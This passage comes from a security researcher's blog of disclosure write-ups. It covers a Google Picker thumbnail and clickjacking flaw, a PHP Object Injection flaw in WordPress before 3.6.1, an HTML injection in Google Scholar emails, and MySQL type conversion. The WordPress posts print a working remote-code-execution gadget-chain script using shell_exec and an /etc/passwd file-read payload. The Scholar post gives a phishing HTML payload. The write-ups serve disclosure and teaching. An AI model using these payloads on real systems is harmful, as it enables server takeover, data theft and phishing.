            "sizeOnDisk": 0
        }],
        "view": "pdfs"
    }],
    "l": false,
    "g": true,
    "r": ""
}

There are two interesting pieces of data here: the name of a file and its thumbnails. One could argue that the name of a file is not that sensitive, but I’d rather not have a stranger going through the names of my files I stored on Google Drive. And what about thumbnails? An attacker can’t do anything with these as Google would only allow the owner (and the people the file is shared with) to view the thumbnail, right? ~~Right?!~~

Outta Control

As you might have guessed, Google fails to verify whether a user is authorized to view the (sensitive) thumbnail. Hell, they even allow unauthenticated access to the thumbnail! At the time of writing, this is still not fixed. A thumbnail -actually a clear snapshot of the first page of the document, see example - for the selected pdf file is publicly available for 1-2 hours, allowing more than enough time for the attacker to download the file.

OWASP names this type of vulnerability Insecure Direct Object References, and it comes as no surprise that it is listed at number 4 of the OWASP Top Ten for 2013, just after XSS.

Interestingly, Google has been aware for quite some time that these thumbnails may be sensitive. On the Google Picker API forums, Jon Emerson (Engineering Manager at Google) says:

[…]

I dug into this for you, and here’s what I found: The expiration & cookie enforcement is a deliberate choice by the Google Docs folks:

The thumbnails are technically resizable so you can get a 2048x2048 version of the document. At that resolution, you can read the document, which would be really bad if it’s a private document you didn’t intend to share with people. To protect user’s security, we therefore restrict who can view thumbnails, and we also expire them in case cookies leak.

[…]

He was only partially correct. Google does restrict who can view thumbnails, but that’s only the case for documents created by Google Drive (Document, Presentation, Spreadsheet, …). Looks like the previous comment in the thread, where a guy says the thumbnail only gives a 403 response on half of the files, did not ring a bell something was wrong.

Also, according to Kuntal Loya, Software Engineer at Google, the thumbnails for Google Drive items would no longer be returned by Feb 7, 2013. That is more than one year ago.

To make matters worse, when I first reported this vulnerability on September 18th, 2013, I soon got a reply that the issue I reported is a duplicate, which means that I’m not the first one who reported this. And as I found this vulnerability in a semi-automated way, I’m quite confident to say that for an attacker, finding this vulnerability is child’s play. This is the main reason that I’m publicly disclosing this vulnerability, in addition to Google’s stance on responsible disclosure, which clearly states the following:

Whilst every bug is unique, we would suggest that 60 days is a reasonable upper bound for a genuinely critical issue in widely deployed software. This time scale is only meant to apply to critical issues.

While this vulnerability may not be marked as “critical”, it is still quite serious in my opinion, given how easy it is for attackers to steal the contents of your private files. Even if Google didn’t manage to completely mitigate attacks in 4 months, at least they could have applied the correct authorization checks for thumbnails, or left out thumbnails completely as they said they would.

What Up Gangsta

Above, I mentioned that it is easy for an attacker to steal the sensitive data. You don’t have to hold my word on it, just see for yourself in this YouTube video I made when I initially reported the vulnerability to Google. In order to prevent giving script-kiddies all information required to set up their own ClickJacking page, I will not disclose the source code of the PoC until Google fixes this vulnerability.

The Google Picker API actually allows you to do a bunch of things, so I created another PoC which is more appealing to the creeps who are reading this. In case a user previously allowed drive.google.com access to his webcam, the user can now be targeted in a ClickJacking attack, which will activate the camera, record a movie, store it to Google Drive, and send a “thumbnail” to the attacker (again, this thumbnail is publicly available). You can view the PoC on YouTube.

Places To Go

I’ve shown you in detail the cause and consequences of this vulnerability, now I’ll discuss how it can be mitigated. Google has taken some “steps” already: the Google Picker page will now send out the X-Frame-Options header with the value DENY. A workaround for this is quite easy: adding &origin=http://example.com to the URL. When this parameter is defined, the Google Picker page will send out X-Frame-Options: ALLOW-FROM http://example.com. My assumption here is that Google did this to keep track of hosts that (ab)use the Google Picker API. However, as some popular browsers (Chrome, Safari, Opera) don’t recognize the ALLOW-FROM directive, the value for the origin parameter can be random if the attacker doesn’t care about Firefox users.

There’s still a lot needed to get to a secure solution. The shift to require OAuth for authentication is a first step in the right direction, but as long as this is not enforced, it solves nothing. On Google Picker API forums, Kuntal Loya posted that by January 15th, 2014, Google Picker would stop working without an OAuth token. In the meanwhile, this has been postponed to April 15th, 2014. My assumption here is that some part of the Google Picker API is not completely compatible with OAuth yet, and Google favors availability over security. Given that millions of people have (sensitive) data hosted on Google Drive, while only tens/hundreds (based on the activity in Google Picker API forums) rely on the availability of the tool, I do not agree with this choice. Of course, I’m not a Google Employee so I’m unaware of any additional issues this shift might bring along.

Despite the difficulties of the shift towards OAuth, Google should’ve at least enforced authorization for thumbnails (or left out the thumbnails altogether) by now. They do it for “Google Drive documents”, why not do it for the rest of the files as well, it would certainly stop most hustlers!

Funny How Time Flies

September 18, 2013: Initial report sent to Google
September 19, 2013: Response from Google with notification that the report issue is a duplicate, and that they “expect a fix to be forthcoming”
October 1, 2013: Initial “fix”, requiring the origin parameter
December 9, 2013: Date to require OAuth set to January 15, 2014
February 3, 2014: Wrote this blog post, and notified Google
February 3, 2014: Date to require OAuth delayed to April 15, 2014
February 18, 2014: Publicly disclosed vulnerability

Previously, the public disclosure of a vulnerability I found in Google Scholar, resulted in a fix within one day. Although fixing the current issue seems to be more complex, I do hope that by publicly disclosing this information, it will considerably speed up the process. Given that the issue can be found in a semi-automated fashion, no steps were made to prevent unauthorized access to “thumbnails”, this vulnerability exists for at least 5 months, and that an actual fix has been postponed for 4 months, a fix is required sooner rather than later for this Sword of Damocles. For the time being, you may want to make sure that no sensitive information may leak through “thumbnails” of your files hosted by Google.

If you have remarks, or additional questions, feel free to contact me on Twitter!

UPDATE (February 20, 2014): Google has added a temporary mitigation by requiring OAuth for most origins. Although there are still a few exceptions, such as .google.com domains, this fix makes the vulnerability definitely harder to exploit.

Remote Code Execution exploit in WordPress 3.5.1

2013-12-09T00:00:00+01:00

Some time ago, I published a blog post describing a PHP Object Injection vulnerability I found in WordPress. At that time, I consciously did not include instructions of how this vulnerability could be exploited. Now, almost three months after the public disclosure of the vulnerability, website administrators have had a reasonable amount of time to update their WordPress installations in order to be secure. Hence, I feel that disclosing an example exploit is acceptable, and will hopefully raise awareness with website administrators that updating (vulnerable) web frameworks is crucial.

Recap

The vulnerability I found in WordPress allowed user-generated content to be passed to PHP’s unserialize() function. This allows an attacker to initialize objects of his choosing, given that the file containing the class definition for the object is included at the time the unserialize() function is called. Furthermore, the attacker can also control the values for the attributes of the initialized object. Except for the initialization of an arbitrary object, an attacker is left with his creativity to make the initialized object do something “special”. This is possible because of PHP’s magic methods. For instance, when an object is unserialized, the object’s __wakeup() magic method is called. Later, when the object has fulfilled its duties and gets destructed, the __destruct() method is called.

O Exploit, Where Art Thou?

As you may have read in my previous post, there were three different magic methods an attacker could use to exploit a WordPress installation, namely __destruct(), __wakeup() and __toString(). The latter is called when PHP requests a string representation of the object, for example when the object is echoed to a web page. In my quest for a working exploit I inspected all WordPress classes that had one of these magic methods. However, I was unable to find one which could lead to a useful exploit. (Side note: if you did manage to find such a class in the WordPress core, I would certainly like to hear about it!)

Now, does this mean that the vulnerability is unexploitable? Of course not, otherwise you wouldn’t be reading this article :-). One of the most popular features about WordPress is that it allows plugins and templates, which are developed by third parties, to be installed. At the time of this writing, WordPress lists 28,358 plugins, with over 560 million downloads. These plugins allow you to do “anything you can imagine”. Next to the plugins, there are also 2,155 themes available, which were downloaded more than 86 million times.

Since I was searching for a class with a “useful” magic method implementation, I decided to take my chances with plugins. For obvious reasons, I started looking in the most popular plugins, and worked my way down. After a quite hard process of going through several plugins, I finally found one that had a class containing an “interesting” __toString() definition. This plugin is called Lightbox Plus ColorBox.

Exploit time

The class of interest in the Lightbox Plus ColorBox plugin is located in the /classes/shd.class.php file, more precisely in the definition of the simple_html_dom_node class. This is what it looks like:

class simple_html_dom_node {
	private $dom = null;
	
	function __toString() {
	    return $this->outertext();
	}

	function outertext() {
	    // ...
	    if ($this->dom && $this->dom->callback!==null) {
	        call_user_func_array($this->dom->callback, array($this));
	    }
	    // ... 
	}
}

For those unfamiliar with PHP, look up call_user_func_array().

NOTE: Just the essential code fragments are extracted. If you want to look at the full source code of the plugin, please refer to the WordPress plugin repository.

Now, why does this class definition draw our attention? Well… because we can control all properties of a simple_html_dom_node object, we can set the private dom property to an arbitrary value. If this value would happen to contain a callback property, something interesting will happen. In this case, the function located in the callback property of the dom property will be called. The first (and only) argument to this method call is the simple_html_dom_node object we defined.

This allows us to call an arbitrary function with limited control over the first argument. Limited because we can pick the attributes, but that’s about it. Most likely there is a PHP function out there that allows you to do some cool things, even with these limitations. As I am no PHP expert, I couldn’t come up with something, so I decided to keep on looking. This drove me back to the WordPress core, more precisely to the /wp-admin/includes/screen.php file. This file contains a class definition of WP_Screen and is included when the serialized user-meta data is unserialized. Here is the definition of the class:

final class WP_Screen {
	private $_help_tabs = array();

	public function get_help_tabs() {
		return $this->_help_tabs;
	}

	public function render_screen_meta() {
		// …
		foreach ( $this->get_help_tabs() as $tab ):
			if ( ! empty( $tab['callback'] ) )
				call_user_func_array( $tab['callback'], array( $this, $tab ) );
		endforeach;
		// …
	}
}

As I mentioned in the previous section, we are able to call any arbitrary chosen function. This includes methods of an object. Hence, we can call the render_screen_meta() method of a WP_Screen object (which takes no arguments). This method will loop over all the elements in the _help_tabs property, and if the callback property of such an element is not empty, it will call the function located in the callback property with two arguments: the WP_Screen object and $tab (one of the elements of the _help_tabs property).

This gives us a bit more control: we can choose which function is called, and can control (to some extent) the first two arguments. But we may want to look a bit further as we don’t fully control the arguments. This brings us to the /wp-includes/category-template.php file of the WordPress core, with following definition:

function wp_generate_tag_cloud( $tags, $args = '' ) {
	// …
	$args = wp_parse_args( $args, $defaults );
	extract( $args );
	// …
	foreach ( (array) $tags as $key => $tag ) {
		$real_counts[ $key ] = $tag->count;
		$counts[ $key ] = $topic_count_scale_callback($tag->count);
	}
	// …
}

For those unfamiliar with PHP, look up extract().

The wp_generate_tag_cloud() function takes two arguments: $tags and $args. The latter is first transformed through the wp_parse_args() function, which merges $args with an array of default values ($defaults). Directly after that, a number of variables, with names equal to the keys in $args, are created by the extract() function. One of the variables that is created is the $topic_count_scale_callback variable. Later on, the value located in this variable is called, given one argument. The good thing here is: we can fully control this variable because we can control the second argument! As for the argument that is given to the function, it appears we can control it as well! The first argument, a WP_Screen object for example, is cast to an array. When an object is cast to an array in PHP, this results in an associative array where the properties become the keys. See following code snippet:

<?php
class Swag {
	public $yolo = 'yolo';
}
$swag = new Swag;
var_dump((array)$swag);
?>

Which results in:

array(1) {
  ["yolo"]=>
  string(4) "yolo"
}

Now all we need for a working exploit, is a property in the WP_Screen object that has a count property. Of course this is not a problem as we get to pick all attributes of objects that get unserialized. This means that we can call an arbitrary function with one argument, which we can also fully control. And this brings us to Remote Code Execution; think shell_exec('echo "schwag" > /tmp/1337h4x0rs').

Putting it all together

With the information provided above, you should be able to create you own über 1337 expl0it!
But let me show you what I made of it:

<?php
class simple_html_dom_node {
	private $dom;
	public function __construct() {
		$callback = array(new WP_Screen(), 'render_screen_meta');
		$this->dom = (object) array('callback' => $callback);
	}
}
class WP_Screen {
	private $_help_tabs;
	public $action;
	function __construct() {
		$count = array('count' => 'echo "schwag" > /tmp/1337h4x0rs');
		$this->action = (object) $count;
		$this->_help_tabs = array(array(
			'callback' => 'wp_generate_tag_cloud', 
			'topic_count_scale_callback' => 'shell_exec'));
	}
}
echo serialize(new simple_html_dom_node()).'𝌆';
?>

When an attacker sets the output of this script as his user metadata, the shell_exec() function is called with 'echo "schwag" > /tmp/1337h4x0rs' as argument. Note that the output contains NULL bytes because when an object is serialized in PHP its private properties are surrounded by NULL bytes (see PHP manual). Most of the user metadata in WordPress does not allow NULL bytes, except for some that are present by default in version 3.5.1.

###Conclusion

This blog post showed an example exploit for the PHP Object vulnerability in WordPress installations before version 3.6.1. The exploit made use of classes defined in the Lightbox Plus ColorBox plugin, which has close to 1 million downloads. By using another class and function definition of the WordPress core, we were able to call an arbitrary function which can be given a value under the control of the attacker. This way, an attacker is capable of executing commands on the vulnerable server. Ohh snap! If you haven’t updated your WordPress installation yet, now would be a good time!

WordPress < 3.6.1 PHP Object Injection

2013-09-11T00:00:00+02:00

After reading a blog post about a “PHP object injection” vulnerability in Joomla, I dug a bit deeper and found Stefan Esser’s slides of the 2010 BlackHat conference, which showed that PHP’s unserialize() function can give rise to vulnerabilities when supplied user-generated content.

So basically, the unserialize() function takes a string that represents a serialized value, and unserializes (hence the name) it to a PHP value. This value can be any type, except the resource type (i.e. integer, double, string, array, boolean, object, NULL). When the function is given a user-generated string, this may result in memory leak vulnerabilities in some (older) PHP versions. However, this will not be the focus of this blog post. If you want to learn more about this, you can refer to the aforementioned BlackHat slides.

Another type of vulnerability that an attacker can exploit when his data is run through the unserialize() function, is “PHP Object Injection”. In this case, object-types are unserialized, allowing the attacker to set all the properties of the object to his choice. When the object’s methods are called, this could have some effect (e.g. removing some file), and as the attacker is able to choose the properties of the object, he might be able to remove a file of his choice.

Let’s examplify this to make it more clear: Imagine that the following class is loaded at the time user-generated content is passed to unserialize().

<?php
class Foo {
    private $bar; 
    public $file;
    
    public function __construct($fileName) {
        $this->bar = 'foobar';
        $this->file = $fileName;
    }
    
    // Some more code here…
    
    public function __toString() {
        return file_get_contents($this->file);
    }
}
?>

If the victim’s code would contain the following line echo unserialize($_GET['in']);, the attacker will be able to read arbitrary files. The attacker could construct his payload with the following code:

<?php
class Foo {
    public $file;
}
$foo = new Foo();
$foo->file = '/etc/passwd';
echo serialize($foo);
?>

Which results in O:3:"Foo":1:{s:4:"file";s:11:"/etc/passwd";}. All the attacker has to do now is to send a GET request to the vulnerable page with his payload. This page will then output the contents of /etc/passwd. Although reading arbitrary files is quite bad, imagine what would happen if file_get_contents would be eval in the above example…

I hope this section has shed some light on the possible dangers of supplying user-generated content to the unserialize() function. Even PHP’s reference manual clearly states that one should not pass user-generated content to the unserialize() function:

Warning

Do not pass untrusted user input to unserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.

Now let’s move on to how this affects WordPress.

WordPress vulnerability

In Stefan Esser’s BlackHat presentation, he mentioned that WordPress is a well-known example of an application that makes use of serialize() and unserialize(). In the example of his slides, unserialize() is used on content received from the WordPress website. So when an attacker is able to perform a MitM-attack on the victim’s website, he can modify the response from the WordPress website to include his payload. Interestingly, at the time of writing, even the latest version of WordPress (3.6) contains this vulnerability (aprox. 3 years after the presentation). Imagine what could happen if an attacker were able to hijack the WordPress.org DNS…

However… this is not the only occurrence where WordPress uses unserialize(). It is also used to store certain information in the database. For example, some user metadata is stored serialized in the database. This metadata is retrieved in the wp-includes/meta.php file by the get_metadata()-function defined on line 267. Here’s a little abstract from this function (lines 292-297):

if ( isset($meta_cache[$meta_key]) ) {
    if ( $single )
        return maybe_unserialize( $meta_cache[$meta_key][0] );
    else
        return array_map('maybe_unserialize', $meta_cache[$meta_key]);
}

So basically, what this function does is retrieve metadata (either from posts or users) from the database (respectively the wp_postmeta and wp_usermeta tables). As some content should be serialized while other content should not, the maybe_unserialize() function is called instead of unserialize(). This function is defined in wp-includes/functions.php on lines 230-234.

function maybe_unserialize( $original ) {
    if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
        return @unserialize( $original );
    return $original;
}

So what this function does, is check whether the given value is a serialized string and if it is, it is unserialized. The is_serialized() function is defined in the same file, on lines 247-276:

function is_serialized( $data ) {
    // if it isn't a string, it isn't serialized
    if ( ! is_string( $data ) )
        return false;
    $data = trim( $data );
     if ( 'N;' == $data )
        return true;
    $length = strlen( $data );
    if ( $length < 4 )
        return false;
    if ( ':' !== $data[1] )
        return false;
    $lastc = $data[$length-1];
    if ( ';' !== $lastc && '}' !== $lastc )
        return false;
    $token = $data[0];
    switch ( $token ) {
        case 's' :
            if ( '"' !== $data[$length-2] )
                return false;
        case 'a' :
        case 'O' :
            return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
        case 'b' :
        case 'i' :
        case 'd' :
            return (bool) preg_match( "/^{$token}:[0-9.E-]+;\$/", $data );
    }
    return false;
}

The reason why it is important to note how WordPress checks if a value is a serialized string will become clear soon. First, let’s look at how an attacker could make content he supplies end up in this metadata table. For every user the first name, last name, Yahoo IM, … are stored in the wp_usermeta table. So let’s just add the payload there and pwn WordPress, right?! You can check by setting i:1; as your name, if this is unserialized, it will result in the integer 1. However, if you test this, you will see that the content isn’t unserialized and just returns i:1;, as was entered.

Darn, it’ll take some more to pwn WordPress aparently… Let’s dig deeper why the content isn’t unserialized… In wp-includes/meta.php, the update_metadata() function is defined on lines 101-164. Here’s an abstract of this function:

// …
    $meta_value = wp_unslash($meta_value);
    $meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type );
// …
    $meta_value = maybe_serialize( $meta_value );
    
    $data  = compact( 'meta_value' );
// …
    $wpdb->update( $table, $data, $where );
// …
    

The maybe_serialize() function might explain why our payload didn’t work… Let’s take a closer look at the function defined in wp-includes/functions.php on lines 314-324.

function maybe_serialize( $data ) {
    if ( is_array( $data ) || is_object( $data ) )
        return serialize( $data );

    // Double serialization is required for backward compatibility.
    // See http://core.trac.wordpress.org/ticket/12930
    if ( is_serialized( $data ) )
        return serialize( $data );

    return $data;
}

So when the given value is a serialized string, it will be serialized again. That is indeed what happens. As you can see in the database, i:1; is turned into s:4:"i:1;";, which is deserialized as a string when it is displayed. So what now?

As you might have noticed, this post was also tagged MySQL. Now it’ll become clear why. In order to successfully insert a serialized object, we need the is_serialized() function to return false when a string is insterted, and it should return true after it is retrieved from the database.

As you might know, a MySQL database, table and even the separate columns have their own charset/collation. For WordPress, the default charset is utf8. Contrastinly to the name, this charset actually does not support the full Unicode character set. For more information about this, please refer to following post by Mathias Bynens. This taught me that tables with utf8 as charset can not store astral symbols (whose code points range from U+010000 to U+10FFFF). So what happens if we try to store one of these symbols nonetheless? Apparently, everything after such a symbol is just discarded. So for example, when trying to insert foo𝌆bar, MySQL will discard 𝌆bar and just store foo.

This was the last piece of the puzzle that was needed to inject serialized values which will be unserialized later on. To test this, you can insert i:1;𝌆 as your first name. As you will see, this results in just 1 as value, meaning that the value you supplied was unserialized. If you don’t yet believe me, try entering a serialized empty array with an astral symbol appended: a:0:{}𝌆. This will result in Array.

Let’s recap: maybe_serialized('i:1;𝌆') is inserted to the database. As WordPress does not see this as a serialized string (because it doesn’t end in ; or }), this will result in i:1;𝌆. When inserted, MySQL doesn’t know how to store it properly, and removes the astral symbol 𝌆. Later on, when the value i:1; is retrieved, it will be unserialized as it now has ; as last character which will make is_serialized() return true. Boom. Vulnerability.

WordPress exploit

Now we’ve shown that WordPress contains a PHP Object Injection vulnerability, let’s try to exploit it… So in order to exploit this vulnerability (by injecting objects), we need to find a class that (i) contains a “useful” method that is called, and (ii) is included at the time the object is created.

When an object is unserialized, the __wakeup() function is called. This function is one of PHP’s “magic-methods”. This is one method we are sure of that is called, there could be some more though. I made the following class which logs all function calls to /tmp/func.log.

<?php
class Foo {
    public static function logFuncCall($funcName) {
        $fh = fopen('/tmp/func.log', 'a');
        fwrite($fh, $funcName."\n");
        fclose($fh);
    }
    public function __construct() { Foo::logFuncCall('__construct('.json_encode(func_get_args()).')');}
    public function __destruct() { Foo::logFuncCall('__destruct()');}
    public function __get($name) { Foo::logFuncCall("__get($name)"); return "Foo";}
    public function __set($name, $value) { Foo::logFuncCall("__set($name, value)");} 
    public function __isset($name) { Foo::logFuncCall("__isset($name)"); return true;} 
    public function __unset($name) { Foo::logFuncCall("__unset($name)");} 
    public function __sleep() { Foo::logFuncCall("__sleep()"); return array();} 
    public function __wakeup() { Foo::logFuncCall("__wakeup()");} 
    public function __toString() { Foo::logFuncCall("__toString()"); return "Foo";} 
    public function __invoke($a) { Foo::logFuncCall("__invoke(". json_encode(func_get_args()).")");}
    public function __call($a, $b) { Foo::logFuncCall("__call(". json_encode(func_get_args()).")");}
    public static function __callStatic($a, $b) { Foo::logFuncCall("__callStatic(". json_encode(func_get_args()).")");}
    public static function __set_state($a) { Foo::logFuncCall("__set_state(". json_encode(func_get_args()).")"); return null;}
    public function __clone() { Foo::logFuncCall("__clone()");} 
}
?>

In order to list all the functions that are called, first make sure that the class is included at the time the unserialization happens. You can do this by adding require_once('foo.php') to the top of functions.php. Next, try exploiting the PHP Object Injection by setting your first name to O:3:"Foo":0:{}𝌆. When you save this, and the page is refreshed, you will see that your first name now is Foo, which is exactly what is returned by the __toString() function of the Foo class. Now let’s look at the functions that were called:

$ sort -u /tmp/func.log
__destruct()
__toString()
__wakeup()

That gives us three functions we can work with: __wakeup(), __destruct() and __toString(). “Unfortunately” I was unable to find an occurrence of a WordPress class that was loaded at the time the unserialization happens which could lead to a severe exploitation. Please note that this is not due to the “security” of WordPress, but rather by chance.

So does this mean that WordPress is just vulnerable, but no exploit is possible? Not quite… If you are familiar with WordPress, you might be aware that there is an enormous amount of plugins available. These plugins come with their own classes and thus may introduce what is needed for successfully exploiting this vulnerability. I looked into this, and found that there exists a popular plugin which (when enabled) elevates this vulnerability to Remote Command Execution.

Due to ethical considerations, I will not disclose a PoC of this exploit at this time, as there are too many vulnerable WordPress installations out there.

WordPress fix

The fix by WordPress is in the is_serialized() function, I’ll briefly discuss it here.

function is_serialized( $data, $strict = true ) {
     // if it isn't a string, it isn't serialized
     if ( ! is_string( $data ) )
         return false;
     if ( ':' !== $data[1] )
         return false;
    if ( $strict ) {
        $lastc = $data[ $length - 1 ];
        if ( ';' !== $lastc && '}' !== $lastc )
            return false;
    } else {
        // ensures ; or } exists but is not in the first X chars
        if ( strpos( $data, ';' ) < 3 && strpos( $data, '}' ) < 4 )
            return false;
    }
     $token = $data[0];
     switch ( $token ) {
         case 's' :
            if ( $strict ) {
                if ( '"' !== $data[ $length - 2 ] )
                    return false;
            } elseif ( false === strpos( $data, '"' ) ) {
                 return false;
            }
         case 'a' :
         case 'O' :
             return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
         case 'b' :
         case 'i' :
         case 'd' :
            $end = $strict ? '$' : '';
            return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );
     }
     return false;
 }

The main difference is that when the $strict parameter is set to false, there are fewer constraints a string needs to be marked serialized. For example, the last character no longer needs to be ; or {, which makes that this fix patches the vulnerability I reported. Now are there any similar issues that could lead to have the same consequences?

As WordPress is still using the unsafe unserialize() function instead of the safer json_decode(), it is now dependant on the regularity of MySQL’s irregular behaviour. The vulnerability I disclosed above made use of the fact that MySQL’s utf8 charset removes all characters that come after an astral symbol. Now what would happen if in a future version, MySQL would remove everything before this character? WordPress would be vulnerable again. Another option that is not unlikely, is that there exists a character that is removed by MySQL when INSERTed. In this case, is_serialized() will return false when trying to insert a string with this character prepended as meta-data. When this string is then retrieved again, it will no longer have the character, and is_serialized() will now return true, which will cause the user-generated string to be unserialized.

Ofcourse, this is pure speculation (as I am not that familiar with MySQL). I shared these concerns with WordPress, and they consulted their MySQL expert, and assured that above scenarios will not happen. The first scenario (where characters are removed before a certain character), will not happen because:

I see no way of this happening. ‘After’ can happen, if you manage to define a partial multi-byte character, as in the original report. ‘Before’ can’t, because MySQL only runs forward through a string when converting it to a character set, never backwards.

As for the second scenario (where a character “disappears”) will not happen because:

MySQL replaces characters it doesn’t recognize (for the given character set), with a placeholder. MySQL will sometimes replace byte sequences with “?” or “�” (U+FFFD). Such replacements would not be harmful.

Timeline

April 3rd: Vulnerability discovered
April 4th: WordPress notified
June 18th: First WordPress fix
June 21st: WordPress 3.5.2 released (fix not included)
August 1st: WordPress 3.6 released (fix not included)
September 6th: Second WordPress fix
September 11th: WordPress 3.6.1 released (fix included)
September 11th: Public disclosure through this blog post

Conclusion

Even though this vulnerability was caused by a single Unicode character, it did have an impact on the core functionality of WordPress (presumably this is why it took them 5 months to fix). As abandoning the use of unserialize() was not an option for them (presumably because of legacy issues), they had to come up with a good algorithm to prevent this vulnerability while remaining compatible with a plethora of plugins and other systems. All in all, I feel a bit more safe hosting my friend’s WP blog, though I did alter the meta-tables to support all Unicode characters:

ALTER TABLE wp_commentmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE wp_postmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE wp_usermeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

Finally, I would like to thank the WordPress Security Team for our collaboration on fixing this vulnerability, and for taking my feedback on both fixes into account.

HTML injection in mails sent from Google Scholar

2013-09-10T00:00:00+02:00

As you might know, Google is running a vulnerability reward program, where they award researchers monetary awards or a place in their Hall of Fame when they responsibly disclose vulnerabilities. With this in mind, I was scooping around on several Google services, including Google Scholar. As I recently started a PhD at K.U. Leuven, I wanted to change my Google Scholar email address, which was my student’s address before. A few seconds later I received the following email:

Nothing wrong with this apparently. Now, as Mathias Bynens and I had discovered an HTML-injection vulnerability in emails sent from Instagram not too long ago, I thought: let’s see what we get if my name were Tom Van Goethem<!--:

Now as you can see, the bottom part has suddenly disappeared. So this could mean that the HTML comment was not escaped properly and thus rendered in the email. This is confirmed by looking at the source of the email:

<a href="http://scholar.google.be/cita=
tions?user=3D7QYR1UoAAAAJ&hl=en">Tom Van Goethem<!--</a>

So this means that an attacker can inject arbitrary HTML content into emails that are sent by Google Scholar. This means that the attacker is also able to inject stylesheets into the email, allowing him to make the email look like whatever he wants. He could then use this to send out spam, promoting his viagra pills, or phishing emails, asking the user to confirm his address at “Google Scholar”.

Here’s an example of what an email from someone named </a><a id=a href=http://goo.gl/CQtK5F><link rel=stylesheet href="http://tomvglabs.be/css.php"> might look like:

As you might have guessed, clicking that URL won’t refer you to the real Google Scholar, but to http://goo.gl/CQtK5F instead, which redirects to http://google-scholar.org (available for registration).

###Google’s response

Trying to participate in the Google’s vulnerability reward program, I privately disclosed this vulnerability to Google, trying to be as clear as possible showing them the potential dangers.

One day later I received the following email:

Hi Tom Van Goethem,

Nice catch! I’ve filed a bug and will update you once we’ve got more information.

Regards, Aleksandr Dobkin, Google Security Team

One week later:

Hey,

Thanks for submitting this report, unfortunately we can’t include it in the program as we do not believe that there is a security sensitive change that needs to be done here.

Regards, Kevin

Hmmm, not security sensitive? Maybe I was not clear enough in my original report, so I sent another email pointing out that it is in fact security sensitive as it allows attackers to easily send out thousands of phishing mails to people with an academic email address. To make matters worse, the emails contain a DKIM signature from the google.com domain, letting Google take responsibility for the message. Even if this vulnerability doesn’t qualify for a reward, I strongly believe that it should be fixed promptly to protect end users.

This was the Google Security Team’s reply to my clarifying email:

I do fully realize that this exploits the DKIM signature however we still do not feel this warrants an award as almost no one actually checks DKIM, and the few that do, almost never take their signature verification out of TEST mode anyway. Additionally, as you said you can register google-scholar.com and phish from there as well.

Still no luck! At this point Google even would not make a change to their code, leaving it vulnerable, until I sent following email:

Having read your stance on coordinated disclosure, I feel that it might be better for me to publicly disclose this vulnerability, as I feel that there is a severe security impact (while you clearly have a different opinion on this). By publicly disclosing this vulnerability, you will be forced to fix this vulnerability, making the web a safer place for academic people.

I will however give you a reasonable amount of time to fix this vulnerability before I disclose the full details. As the fix of this vulnerability just takes about 3 command (adding htmlentities to all user input), I feel that 2 weeks is a very reasonable amount of time.

Approximately 12 hours later I received following email:

I have some interesting news. We have decided to fix this issue, so you will receive credit at the very least. More interestingly while fixing this we discovered another issue that may be worth a monetary award. If you can hold off on publishing we will make that decision next week and let you know.

And that was last week. Unfortunately, this bug did not meet the threshold for a reward (while Facebook rewarded me and Mathias a generous amount for a very similar vulnerability we reported in Instagram). I did end up in the Honorable Mention section of the Hall of Fame though.

###Conclusion

So why should you not trust emails sent from Google? As I’ve mentioned, the Google Security Team initially stated that injecting arbitrary HTML content in emails is not security sensitive. Not until they were pressurized by the possibility of a public disclosure, did they have the intent to fix this vulnerability promptly. Given this information, I assume that it is unlikely they will fix similar vulnerabilities found in the future (unless the reporter keeps persisting on fixing the vulnerability). This means that when you receive your next email from Google, asking to confirm something by clicking a link, please be very cautious on what you click on, and make sure not to enter any credentials, even when it all looks legit.

Comments are welcome: Hacker News, Twitter

Implicit type conversion in MySQL

2013-04-08T00:00:00+02:00

In some languages, using arithmetic operators on elements that aren’t numeric, give some weird results. In JavaScript for example, [ ] + { } is an Object, while { } + [ ] appears to be NaN.

If these kind of obscure actions occur in a parser that is counted on to be very reliable, things can go bad real quickly. Let’s look at how MySQL behaves…

Trying to add two integers in MySQL will result in an integer of the sum of the given integers. Simple and straightforward, as you can see below.

mysql> SELECT 1+1;
+-----+
| 1+1 |
+-----+
|   2 |
+-----+
1 row in set (0.00 sec)

MySQL Type Conversion

Nothing special there. But what would happen if we’d try to add a string and an integer…

mysql> SELECT 'foo'+1;
+---------+
| 'foo'+1 |
+---------+
|       1 |
+---------+
1 row in set, 1 warning (0.00 sec)
mysql> SHOW WARNINGS;
+---------+------+-----------------------------------------+
| Level   | Code | Message                                 |
+---------+------+-----------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'foo' |
+---------+------+-----------------------------------------+
1 row in set (0.00 sec)

A bit more interesting, adding 1 to 'foo' returns 1. What happens here, is that 'foo' is converted to a DOUBLE. But since it clearly is non-numeric, it will be converted to 0 (and generate the above warning).
Still nothing new here…

The reference manual of MySQL says:

When an operator is used with operands of different types, type conversion occurs to make the operands compatible.

So what happens when we try to add two strings?
These are of the same type, so shouldn’t need to be converted, right?

mysql> SELECT 'a'+'b';
+---------+
| 'a'+'b' |
+---------+
|       0 |
+---------+
1 row in set, 2 warnings (0.00 sec)
mysql> SHOW WARNINGS;
+---------+------+---------------------------------------+
| Level   | Code | Message                               |
+---------+------+---------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |
+---------+------+---------------------------------------+
2 rows in set (0.00 sec)

Guess not… So something else is going on here, it appears that + is an arithmetic operator. That might explain why both strings are converted to numeric values.

So we know that the sum of two strings results in a numeric value, namely 0. You can verify this by running the query SELECT 'a' + 'b' = 0, which will result in 1 (which is the same as TRUE). Now, what would happen if we compared the sum of two strings with another string. Let’s see…

mysql> SELECT 'a'+'b'='c';
+-------------+
